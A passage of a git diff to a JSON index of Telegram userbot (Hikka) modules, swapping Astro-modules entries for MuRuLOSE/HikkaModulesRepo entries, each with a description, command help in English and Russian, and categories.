➪ очистить все ЛС с юзерами, обладающими Premium⭐️\n\t\t", - "en_doc": null, - "doc": "Arguments:\n-deleted ➪ delete all dialogs PM with deleted accounts\n-fake ➪ delete all dialogs PM with fake accounts\n-scam ➪ delete all dialogs PM with scam accounts\n-bots ➪ delete all dialog with bots\n-allpms ➪ delete all dialogs PM\n-prem ➪ delete all dialogs PM with PREMIUM⭐️ users" - } - }, - { - "leave_chats": { - "ru_doc": "@chat_username1, @chat_username2, ... ➪ покинуть чаты, с определенными @username", - "en_doc": null, - "doc": "@chat_username1, @chat_username2, ... ➪ leave chats, with usernames in arguments" - } - } - ], - "category": [ - "Chat", - "Tools" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/minesweeper.py": { - "name": "MineSwepperModule", - "description": "Minesweeper game", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/MineSwepper.png", - "developer": "@AstroModules" - }, - "commands": [ - { - "minesweeper": "- start the game \"Minesweeper\" - начать игру \"Сапёр\"" - } - ], - "new_commands": [ - { - "minesweeper": { - "ru_doc": "- начать игру \"Сапёр\"", - "en_doc": null, - "doc": "- start the game \"Minesweeper\" " - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/akinator.py": { - "name": "AkinatorGame", - "description": "Akinator will guess any character you have in mind,\nYou just need to answer a couple of questions)", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Akinator.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "akinator": "- start the game - начать игру" - } - ], - "new_commands": [ - { - "akinator": { - "ru_doc": "- начать игру", - "en_doc": null, - "doc": "- start the game" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/RandomPasswordGenerator.py": { - "name": "PasswordGeneratorMod", - "description": "Random password/pincode generator", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/PasswordGenerator.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "generatorcfgcmd": "—>config for this module —>конфиг этого модуля" - }, - { - "igeneratorcmd": "—>generate random password/pin —>сгенерировать случайный пароль/пин-код" - } - ], - "new_commands": [ - { - "generatorcfg": { - "ru_doc": "—>конфиг этого модуля", - "en_doc": null, - "doc": "—>config for this module" - } - }, - { - "igenerator": { - "ru_doc": "—>сгенерировать случайный пароль/пин-код", - "en_doc": null, - "doc": "—>generate random password/pin" - } - } - ], - "category": [ - "Tools", - "Security" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/Compliments.py": { - "name": "ComplimentsMod", - "description": "Покажи девушке какая она прекрасная (ну или им, какие они прекрасные)", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Compliments.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "complimentscfgcmd": "—>конфиг этого модуля" - }, - { - "ilikecmd": "Инлайн анимация комплиментов(полная настройка в конфиге)" - } - ], - "new_commands": [ - { - "complimentscfg": { - "ru_doc": null, - "en_doc": null, - "doc": "—>конфиг этого модуля" - } - }, - { - "ilike": { - "ru_doc": null, - "en_doc": null, - "doc": "Инлайн анимация комплиментов(полная настройка в конфиге)" - } - } - ], - "category": [ - "Tools", - "Social" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/video_to_voice.py": { - "name": "VideoToVoice", - "description": "Convert Video to voice", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/VideoToVoice.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "convert_to_voice": "<reply_to_video> -> получить Войс звука видео, либо отправлять команду с прикрепленным видео(оно удалится после отправления сделанного войса), либо отправить команду ответом на видео." - } - ], - "new_commands": [ - { - "convert_to_voice": { - "ru_doc": null, - "en_doc": null, - "doc": "<reply_to_video> -> получить Войс звука видео, либо отправлять команду с прикрепленным видео(оно удалится после отправления сделанного войса), либо отправить команду ответом на видео." - } - } - ], - "category": [ - "Tools", + "Info", "Media" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/mindtalk.py": { - "name": "MindTalkMod", - "description": "Your little psychologist Based on MindTalk by Hikamoru", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/MindTalk.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "login": "<login> <password> - log in and save token" - }, - { - "ask": "<message> - ask a psychologist a question" - }, - { - "mtclear": "- clear MindTalk history" - } - ], - "new_commands": [ - { - "login": { - "ru_doc": null, - "en_doc": null, - "doc": "<login> <password> - log in and save token" - } - }, - { - "ask": { - "ru_doc": null, - "en_doc": null, - "doc": "<message> - ask a psychologist a question" - } - }, - { - "mtclear": { - "ru_doc": null, - "en_doc": null, - "doc": "- clear MindTalk history" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/dl_yt_previews.py": { - "name": "YTPreviewMod", - "description": "Скачивает превью с ютуба", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/YouTubePreviews.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "ytpcmd": "<link> --> download YouTube video preview <link> --> скачивает превью" - } - ], - "new_commands": [ - { - "ytp": { - "ru_doc": "<link> --> скачивает превью", - "en_doc": null, - "doc": "<link> --> download YouTube video preview" - } - } - ], - "category": [ - "Media", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/вахуи_пон.py": { - "name": "ВахуиПонMod", - "description": "пон и вахуи", + "MuRuLOSE/HikkaModulesRepo/morse.py": { + "name": "Morse", + "description": "- Decode and Encode morse code", "meta": { "pic": null, "banner": null, - "developer": "@AstroModules" + "desc": "desc", + "developer": "@BruhHikkaModules" }, "commands": [ { - "понcmd": "--> пон" + "decode_morse": "- [Text] - Translates into morse code - [Текст] - Переводит в азбуку морзе" }, { - "вахуиcmd": "--> вахуи" + "encode_morse": "- [Text] - Translates from morse code - [Текст] - Переводит из азбуки морзе в текст" } ], "new_commands": [ { - "пон": { - "ru_doc": null, + "decode_morse": { + "ru_doc": " - [Текст] - Переводит в азбуку морзе", "en_doc": null, - "doc": "--> пон" + "doc": "- [Text] - Translates into morse code" } }, { - "вахуи": { - "ru_doc": null, + "encode_morse": { + "ru_doc": " - [Текст] - Переводит из азбуки морзе в текст", "en_doc": null, - "doc": "--> вахуи" + "doc": "- [Text] - Translates from morse code" } } ], @@ -1760,223 +6354,706 @@ "Tools" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/inline_bot_manager.py": { - "name": "InlineBotManagerMod", - "description": "Control over your Inline bot!", + "MuRuLOSE/HikkaModulesRepo/Genshin.py": { + "name": "Genshin", + "description": "Module for Genshin", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/InlineBotManager.jpg", - "developer": "@AstroModules" + "banner": "link", + "desc": "desc", + "developer": "@BruhHikkaModules" }, "commands": [ { - "inlinebothelpcmd": "--> Check help for this module --> Просмотреть помощь по этому модулю" + "greload": "- You change credentials or want auth? You need to reload module - Поменяли данные для входа или хотите авторизироваться? Вам нужно перезагрузить модуль" }, { - "ibsetnamecmd": "<name> --> change Name for your Inline-Bot <имя> --> изменить имя для вашего Инлайн-Бота" + "hoyoaccounts": "- Shows all accounts in Genshin - Показывает все аккаунты в Genshin" }, { - "ibsetqtextcmd": "<text> --> change text in InlineQuery for your Inline-Bot <текст> --> изменить текст в InlineQuery для вашего Инлайн-Бота" - }, - { - "ibsetdescriptioncmd": "<description> --> change inline-bot description <текст> --> изменить информацию о инлайн-боте" - }, - { - "ibsetaboutcmd": "<about> --> change inline-bot about text <текст> --> изменить текст об информации о инлайн-боте" - }, - { - "ibchecknamecmd": "-->check bot name to be: \"🌘 Hikka Userbot of {your nickname}\" -->проверить имя бота, чтобы оно было: \"🌘 Hikka Userbot of {ваш ник}\" " + "activatepromo": " [Промокод] - Активирует промокод" } ], "new_commands": [ { - "inlinebothelp": { - "ru_doc": "--> Просмотреть помощь по этому модулю", + "greload": { + "ru_doc": " - Поменяли данные для входа или хотите авторизироваться? Вам нужно перезагрузить модуль", "en_doc": null, - "doc": "--> Check help for this module" + "doc": "- You change credentials or want auth? You need to reload module" } }, { - "ibsetname": { - "ru_doc": "<имя> --> изменить имя для вашего Инлайн-Бота", + "hoyoaccounts": { + "ru_doc": " - Показывает все аккаунты в Genshin", "en_doc": null, - "doc": "<name> --> change Name for your Inline-Bot" + "doc": "- Shows all accounts in Genshin" } }, { - "ibsetqtext": { - "ru_doc": "<текст> --> изменить текст в InlineQuery для вашего Инлайн-Бота", + "activatepromo": { + "ru_doc": " [Промокод] - Активирует промокод", "en_doc": null, - "doc": "<text> --> change text in InlineQuery for your Inline-Bot" - } - }, - { - "ibsetdescription": { - "ru_doc": "<текст> --> изменить информацию о инлайн-боте", - "en_doc": null, - "doc": "<description> --> change inline-bot description" - } - }, - { - "ibsetabout": { - "ru_doc": "<текст> --> изменить текст об информации о инлайн-боте", - "en_doc": null, - "doc": "<about> --> change inline-bot about text" - } - }, - { - "ibcheckname": { - "ru_doc": "-->проверить имя бота, чтобы оно было: \"🌘 Hikka Userbot of {ваш ник}\" ", - "en_doc": null, - "doc": "-->check bot name to be: \"🌘 Hikka Userbot of {your nickname}\" " + "doc": null } } ], "category": [ - "Tools", - "Chat" + "Games", + "Tools" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/RandomStatuses.py": { - "name": "RandomStatusesMod", - "description": "Рандомные статусы для описания аккаунта в ТГ/Вацап/ВК и т.д.", + "MuRuLOSE/HikkaModulesRepo/CustomPing.py": { + "name": "CustomPing", + "description": "Have you seen a customizable ping module in Netfoll? I have, yes, but I find it unacceptable to use Netfoll, so I took the idea of custom ping, and replicated it.", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/RandomStatuses.jpg", - "developer": "@AstroModules" + "banner": "https://0x0.st/HYVX.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" }, "commands": [ { - "rstatuscmd": "Рандомный статус на описание аккаунта в ТГ/ВК/Вацап и т.д." + "cping": "- Find out your userbot ping - Узнать пинг вашего юзербота" } ], "new_commands": [ { - "rstatus": { - "ru_doc": null, + "cping": { + "ru_doc": " - Узнать пинг вашего юзербота", "en_doc": null, - "doc": "Рандомный статус на описание аккаунта в ТГ/ВК/Вацап и т.д." + "doc": "- Find out your userbot ping" } } ], "category": [ - "Tools", - "Chat" + "Networking", + "Tools" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/achievements.py": { - "name": "AchievementsMod", - "description": "Create the achievement from https://minecraft-inside.ru/achievements/\n\nIdea from @Den4ikSOP & @boyhao", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Achievements.jpg", - "developer": "@AstroModules" - }, - "commands": [ - { - "achievement": "[title] \"<text>\" [-icon <id>] [-title-color #<color>] [-text-color #<color>] [Заголовок] \"<текст>\" [-icon <id>] [-title-color #<цвет>] [-text-color #<цвет>]" - } - ], - "new_commands": [ - { - "achievement": { - "ru_doc": "[Заголовок] \"<текст>\" [-icon <id>] [-title-color #<цвет>] [-text-color #<цвет>]", - "en_doc": null, - "doc": "[title] \"<text>\" [-icon <id>] [-title-color #<color>] [-text-color #<color>]" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/Steam.py": { - "name": "Steam", - "description": "Get now played game", - "meta": { - "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/AstroSteamNow.png", - "developer": "@AstroModules" - }, - "commands": [ - { - "steamnow": "- get what I'm playing at - получить, во что я сейчас играю" - }, - { - "sme": "- my steam account - открыть аккаунт Steam" - }, - { - "game": "<id> - get game info <id> - получить инфо об игре" - }, - { - "steamtoggle": "- toggle widgets updates - вкл/выкл виджеты SteamNow" - } - ], - "new_commands": [ - { - "steamnow": { - "ru_doc": " - получить, во что я сейчас играю", - "en_doc": null, - "doc": "- get what I'm playing at" - } - }, - { - "sme": { - "ru_doc": "- открыть аккаунт Steam", - "en_doc": null, - "doc": "- my steam account" - } - }, - { - "game": { - "ru_doc": "<id> - получить инфо об игре", - "en_doc": null, - "doc": "<id> - get game info" - } - }, - { - "steamtoggle": { - "ru_doc": "- вкл/выкл виджеты SteamNow", - "en_doc": null, - "doc": "- toggle widgets updates" - } - } - ], - "category": [ - "Tools", - "Chat" - ] - }, - "Den4ikSuperOstryyPer4ik/Astro-modules/пон_вахуи.py": { - "name": "ПонВахуиMod", - "description": "пон и вахуи", + "MuRuLOSE/HikkaModulesRepo/PinMoreChats.py": { + "name": "PinMoreChats", + "description": null, "meta": { "pic": null, "banner": null, - "developer": "@AstroModules" + "desc": "desc", + "developer": "@BruhHikkaModules" }, "commands": [ { - "пон": "--> инлайн меню со стикерами пон" + "pinchat": "- Add chat to pinned - Добавить чат в закреплённых" }, { - "вахуи": "--> инлайн меню со стикерами \"вахуи\" " + "unpinchat": "- Remove chat from pinned - Удалить чат из закреплённых" + }, + { + "listpinchats": "- View pinned chats - Посмотреть закреплённые чаты" + }, + { + "pmcfaq": "- FAQ for module - FAQ по модулю" } ], "new_commands": [ { - "пон": { - "ru_doc": null, + "pinchat": { + "ru_doc": " - Добавить чат в закреплённых", "en_doc": null, - "doc": "--> инлайн меню со стикерами пон" + "doc": "- Add chat to pinned" } }, { - "вахуи": { + "unpinchat": { + "ru_doc": " - Удалить чат из закреплённых", + "en_doc": null, + "doc": "- Remove chat from pinned" + } + }, + { + "listpinchats": { + "ru_doc": " - Посмотреть закреплённые чаты", + "en_doc": null, + "doc": "- View pinned chats" + } + }, + { + "pmcfaq": { + "ru_doc": " - FAQ по модулю", + "en_doc": null, + "doc": "- FAQ for module" + } + } + ], + "category": [ + "Productivity", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/InviteManager.py": { + "name": "InviteManager", + "description": "Manage Telegram invite links", + "meta": { + "pic": null, + "banner": "https://raw.githubusercontent.com/MuRuLOSE/HikkaModulesRepo/main/assets/modbanners/inumber.png", + "desc": "Manage Telegram invite links", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "createinvite": "Create an invite link for a channel Создать ссылку-приглашение для канала" + }, + { + "editinvite": "[link] [channel] - Edit an invite link with inline buttons [ссылка] [канал] - Редактировать ссылку-приглашение через инлайн-кнопки" + } + ], + "new_commands": [ + { + "createinvite": { + "ru_doc": "Создать ссылку-приглашение для канала", + "en_doc": null, + "doc": "Create an invite link for a channel" + } + }, + { + "editinvite": { + "ru_doc": "[ссылка] [канал] - Редактировать ссылку-приглашение через инлайн-кнопки", + "en_doc": null, + "doc": "[link] [channel] - Edit an invite link with inline buttons" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/SteamClient.py": { + "name": "SteamClient", + "description": "Module for manage steam", + "meta": { + "pic": null, + "banner": "link", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "searchuser": "[Username] (--raw raw json answer) (--id search by id) - Search user [Юзернейм] Найти пользователя (--id поиск по id)" + }, + { + "vacbaninfo": "[Username] Informbation about user VAC-BANs (--id search by id) [Юзернейм] Информация о VAC-BANах пользователя (--id поиск по id)" + }, + { + "gameownedlist": "- [Username] Informbation about user games (--id search by id) - [Юзернейм] Информация о играх пользователя (--id поиск по id)" + }, + { + "setwidgetsteam": "- Reply to message what need to be widget (--reset to remove widget)" + }, + { + "execsteamcode": "DO NOT USE THIS COMMAND! IT ONLY WORKS WHEN DEBUGGING IS ENABLED! THIS COMMAND IS FOR DEVELOPER" + }, + { + "updateapikey": "- Update API key - Обновить API ключ" + } + ], + "new_commands": [ + { + "searchuser": { + "ru_doc": " [Юзернейм] Найти пользователя (--id поиск по id)", + "en_doc": null, + "doc": "[Username] (--raw raw json answer) (--id search by id) - Search user" + } + }, + { + "vacbaninfo": { + "ru_doc": " [Юзернейм] Информация о VAC-BANах пользователя (--id поиск по id)", + "en_doc": null, + "doc": "[Username] Informbation about user VAC-BANs (--id search by id)" + } + }, + { + "gameownedlist": { + "ru_doc": " - [Юзернейм] Информация о играх пользователя (--id поиск по id)", + "en_doc": null, + "doc": "- [Username] Informbation about user games (--id search by id)" + } + }, + { + "setwidgetsteam": { "ru_doc": null, "en_doc": null, - "doc": "--> инлайн меню со стикерами \"вахуи\" " + "doc": "- Reply to message what need to be widget (--reset to remove widget)" + } + }, + { + "execsteamcode": { + "ru_doc": null, + "en_doc": null, + "doc": "DO NOT USE THIS COMMAND! IT ONLY WORKS WHEN DEBUGGING IS ENABLED! THIS COMMAND IS FOR DEVELOPER" + } + }, + { + "updateapikey": { + "ru_doc": " - Обновить API ключ", + "en_doc": null, + "doc": "- Update API key" + } + } + ], + "category": [ + "Games", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/Wynncraft.py": { + "name": "WynnCraft", + "description": "Wynncraft API Module", + "meta": { + "pic": null, + "banner": "link", + "desc": "Wynncraft API Module", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "wstatscmd": "[Username / uuid] - Player stats" + }, + { + "wguildcmd": "[GuildName / Prefix] - Guild stats" + }, + { + "wleaderboardcmd": "Show Wynncraft leaderboards" + }, + { + "wsearchcmd": "[Query] - Search for players or guilds" + } + ], + "new_commands": [ + { + "wstats": { + "ru_doc": null, + "en_doc": null, + "doc": "[Username / uuid] - Player stats" + } + }, + { + "wguild": { + "ru_doc": null, + "en_doc": null, + "doc": "[GuildName / Prefix] - Guild stats" + } + }, + { + "wleaderboard": { + "ru_doc": null, + "en_doc": null, + "doc": "Show Wynncraft leaderboards" + } + }, + { + "wsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "[Query] - Search for players or guilds" + } + } + ], + "category": [ + "Tools", + "Games" + ] + }, + "MuRuLOSE/HikkaModulesRepo/ToTHosting.py": { + "name": "ToTHosting", + "description": "Module for interaction with ToTHosting API (obviously) ", + "meta": { + "pic": null, + "banner": "link", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "tinfocmd": "[id/None] - Get info about your userbot" + }, + { + "tlogscmd": "[id/None] - Get logs of your userbot" + }, + { + "trestartcmd": "[id/None] - Restart the userbot" + }, + { + "tuserinfo": "- Info about user" + } + ], + "new_commands": [ + { + "tinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "[id/None] - Get info about your userbot" + } + }, + { + "tlogs": { + "ru_doc": null, + "en_doc": null, + "doc": "[id/None] - Get logs of your userbot" + } + }, + { + "trestart": { + "ru_doc": null, + "en_doc": null, + "doc": "[id/None] - Restart the userbot" + } + }, + { + "tuserinfo": { + "ru_doc": null, + "en_doc": null, + "doc": "- Info about user" + } + } + ], + "category": [ + "Admin", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/timer.py": { + "name": "timer", + "description": "Модуль который запускает таймер до события", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "start_timer": "[Таймер на секунды] [Текст напоминания] - Запустить таймер (Сообщения будет отправляться инлайн ботом с вашим упоминанием)" + } + ], + "new_commands": [ + { + "start_timer": { + "ru_doc": null, + "en_doc": null, + "doc": "[Таймер на секунды] [Текст напоминания] - Запустить таймер (Сообщения будет отправляться инлайн ботом с вашим упоминанием)" + } + } + ], + "category": [ + "Productivity", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/ChannelCheck.py": { + "name": "ChannelCheck", + "description": "Модуль для получении информации о нахождении человека в канале.", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "checksub": "[айди или юзернейм канала] [юзернейм или айди человека]- Проверить, находится ли человек в указанном вами канале" + } + ], + "new_commands": [ + { + "checksub": { + "ru_doc": null, + "en_doc": null, + "doc": "[айди или юзернейм канала] [юзернейм или айди человека]- Проверить, находится ли человек в указанном вами канале" + } + } + ], + "category": [ + "Social", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/autogiveawayjoin.py": { + "name": "AutoGiveawayJoin", + "description": "Авто присоеденение к розыгрышам в @mine_evo_bot", + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVa.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "giveawayjoin": "- Вкл / Выкл присоеденение к розыгрышам" + } + ], + "new_commands": [ + { + "giveawayjoin": { + "ru_doc": null, + "en_doc": null, + "doc": "- Вкл / Выкл присоеденение к розыгрышам" + } + } + ], + "category": [ + "Social", + "Automation" + ] + }, + "MuRuLOSE/HikkaModulesRepo/YamiManager.py": { + "name": "YamiManager", + "description": "Module for @YamiChat_bot ", + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVA.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "scmmnd": "[cmd] [request] - Send command to Yami bot\nExample: .scmmnd /img arguments with req [команда] [запрос] - Отправить команду Ями бот\nПример: .scmmnd /img аргументы с запросом" + }, + { + "chalive": "- Check, to see if the bot is alive - Проверьте, жив ли бот" + } + ], + "new_commands": [ + { + "scmmnd": { + "ru_doc": " [команда] [запрос] - Отправить команду Ями бот\nПример: .scmmnd /img аргументы с запросом", + "en_doc": null, + "doc": "[cmd] [request] - Send command to Yami bot\nExample: .scmmnd /img arguments with req" + } + }, + { + "chalive": { + "ru_doc": " - Проверьте, жив ли бот", + "en_doc": null, + "doc": "- Check, to see if the bot is alive" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/CheckTime.py": { + "name": "CheckTime", + "description": "Check time in your city", + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVT.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "setcity": "[Timezone / Nothing] - Set your city to default\nExample: .set_city Europe/Moscow [Часовой пояс / Ничего] - Поставь свой город по-улмолчанию\nПример: .set_city Europe/Moscow" + }, + { + "showtime": "[Timezone / Nothing] - Find out the time\nExample: .show_time Europe/Moscow [Часовой пояс / Ничего] - Узнать время" + }, + { + "send_widget": "- Send widget [Часовой пояс / Ничего] - Отправить виджет" + } + ], + "new_commands": [ + { + "setcity": { + "ru_doc": " [Часовой пояс / Ничего] - Поставь свой город по-улмолчанию\nПример: .set_city Europe/Moscow", + "en_doc": null, + "doc": "[Timezone / Nothing] - Set your city to default\nExample: .set_city Europe/Moscow" + } + }, + { + "showtime": { + "ru_doc": " [Часовой пояс / Ничего] - Узнать время", + "en_doc": null, + "doc": "[Timezone / Nothing] - Find out the time\nExample: .show_time Europe/Moscow" + } + }, + { + "send_widget": { + "ru_doc": " [Часовой пояс / Ничего] - Отправить виджет", + "en_doc": null, + "doc": "- Send widget" + } + } + ], + "category": [ + "Productivity", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/FuckJoins.py": { + "name": "FuckJoins", + "description": "Tired of entering channels without your knowledge via JoinChannelRequest?\nThen use this module! You can remove all such requests with one command from the module (file or raw).", + "meta": { + "pic": null, + "banner": "link", + "desc": "Tired of entering channels without your knowledge via JoinChannelRequest?\\nThen use this module! You can remove all such requests with one command from the module (file or raw).", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "rjoinsrjoin": "[Reply to file / link to raw code (not work)] - Replace JoinChannelRequest to self.request_join [Ответ на файл / ссылка на сырой код (не работает)] - Заменить JoinChannelRequest на self.request_join" + }, + { + "removejoins": "[Reply to file / link to raw code] - Remove JoinChannelRequest [Ответ на файл / ссылка на сырой код] - Удалить JoinChannelRequest" + } + ], + "new_commands": [ + { + "rjoinsrjoin": { + "ru_doc": "[Ответ на файл / ссылка на сырой код (не работает)] - Заменить JoinChannelRequest на self.request_join", + "en_doc": null, + "doc": "[Reply to file / link to raw code (not work)] - Replace JoinChannelRequest to self.request_join" + } + }, + { + "removejoins": { + "ru_doc": "[Ответ на файл / ссылка на сырой код] - Удалить JoinChannelRequest", + "en_doc": null, + "doc": "[Reply to file / link to raw code] - Remove JoinChannelRequest" + } + } + ], + "category": [ + "Security", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/autoreader.py": { + "name": "Autoreader", + "description": "Для автоматического читания в чатах и лс", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "autoread": "- Добавить / Удалить чат из авто читаемых" + }, + { + "list_autoread": "- Чаты которые читаются" + }, + { + "set_autoread": "- [Айди] Добавить / Удалить чат из списка авто читаемых\np.s -100 к началу айди у каналов и чатов" + }, + { + "read": "- [Айди \\ Ничего] Прочитать все сообщения в чате" + } + ], + "new_commands": [ + { + "autoread": { + "ru_doc": null, + "en_doc": null, + "doc": "- Добавить / Удалить чат из авто читаемых" + } + }, + { + "list_autoread": { + "ru_doc": null, + "en_doc": null, + "doc": "- Чаты которые читаются" + } + }, + { + "set_autoread": { + "ru_doc": null, + "en_doc": null, + "doc": "- [Айди] Добавить / Удалить чат из списка авто читаемых\np.s -100 к началу айди у каналов и чатов" + } + }, + { + "read": { + "ru_doc": null, + "en_doc": null, + "doc": "- [Айди \\ Ничего] Прочитать все сообщения в чате" + } + } + ], + "category": [ + "Automation", + "Chat" + ] + }, + "MuRuLOSE/HikkaModulesRepo/youtubesearcher.py": { + "name": "YoutubeSearcher", + "description": "Ищет видео в ютуб", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "ytsearch": "- [Запрос поиска] [Максимальное количество видео] Ищет видео в ютуб" + } + ], + "new_commands": [ + { + "ytsearch": { + "ru_doc": null, + "en_doc": null, + "doc": "- [Запрос поиска] [Максимальное количество видео] Ищет видео в ютуб" + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/controlspam.py": { + "name": "ControlSpam", + "description": "Не просто спамь, а контролируй", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "spam": "[количество спама] [текст / реплай] - Начать спам" + }, + { + "delayspam": "[количество спама] [Задержка в секундах] [текст / реплай] - Начать спам" + }, + { + "spam_stop": "- [id] Закончить спам" + } + ], + "new_commands": [ + { + "spam": { + "ru_doc": null, + "en_doc": null, + "doc": "[количество спама] [текст / реплай] - Начать спам" + } + }, + { + "delayspam": { + "ru_doc": null, + "en_doc": null, + "doc": "[количество спама] [Задержка в секундах] [текст / реплай] - Начать спам" + } + }, + { + "spam_stop": { + "ru_doc": null, + "en_doc": null, + "doc": "- [id] Закончить спам" } } ], @@ -1985,35 +7062,64 @@ "Chat" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/convertio.py": { - "name": "ConvertioMod", - "description": "Convert file with api from https://convertio.co", + "MuRuLOSE/HikkaModulesRepo/YoutubeDL.py": { + "name": "YoutubeDLB", + "description": "THIS IS A BETA! BUGS MAY OCCUR!", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/Convertio.jpg", - "developer": "@AstroModules" + "banner": "https://0x0.st/s/h111E8AonLcGdpV5N8rx6A/XWiz.jpg", + "desc": "Download youtube videos", + "developer": "@BruhHikkaModules" }, "commands": [ { - "renewconvertio": "Renew convertio api key" + "videodl": "[link] - Download video" }, { - "convert": "<output format> <!reply to file> | Example: png <выходной формат> | Пример: png" + "potoken": "" } ], "new_commands": [ { - "renewconvertio": { + "videodl": { "ru_doc": null, "en_doc": null, - "doc": "Renew convertio api key" + "doc": "[link] - Download video" } }, { - "convert": { - "ru_doc": "<выходной формат> | Пример: png", + "potoken": { + "ru_doc": null, "en_doc": null, - "doc": "<output format> <!reply to file> | Example: png" + "doc": null + } + } + ], + "category": [ + "Media", + "Tools" + ] + }, + "MuRuLOSE/HikkaModulesRepo/filters.py": { + "name": "TextFilters", + "description": "- Module for filter text", + "meta": { + "pic": null, + "banner": null, + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "filter_ch": "- [lower / capitalize / upper / off] - Chose filter - [lower / capitalize / upper / off] - Выбрать фильтр" + } + ], + "new_commands": [ + { + "filter_ch": { + "ru_doc": " - [lower / capitalize / upper / off] - Выбрать фильтр", + "en_doc": null, + "doc": "- [lower / capitalize / upper / off] - Chose filter" } } ], @@ -2022,6 +7128,7801 @@ "Chat" ] }, + "MuRuLOSE/HikkaModulesRepo/FuckTagOne.py": { + "name": "FuckTagOne", + "description": null, + "meta": { + "pic": null, + "banner": "https://0x0.st/HYVP.jpg", + "desc": "desc", + "developer": "@BruhHikkaModules" + }, + "commands": [ + { + "addignore": "[id / reply] - Add to ignore list [id / reply] - Добавить в игнор лист" + }, + { + "ignorelist": "- Check who in ignore - Посмотреть кто у вас в игноре" + }, + { + "removeignore": "[id / reply] - Remove from ignore list [id / reply] - Удалить из списка игнора" + } + ], + "new_commands": [ + { + "addignore": { + "ru_doc": " [id / reply] - Добавить в игнор лист", + "en_doc": null, + "doc": "[id / reply] - Add to ignore list" + } + }, + { + "ignorelist": { + "ru_doc": " - Посмотреть кто у вас в игноре", + "en_doc": 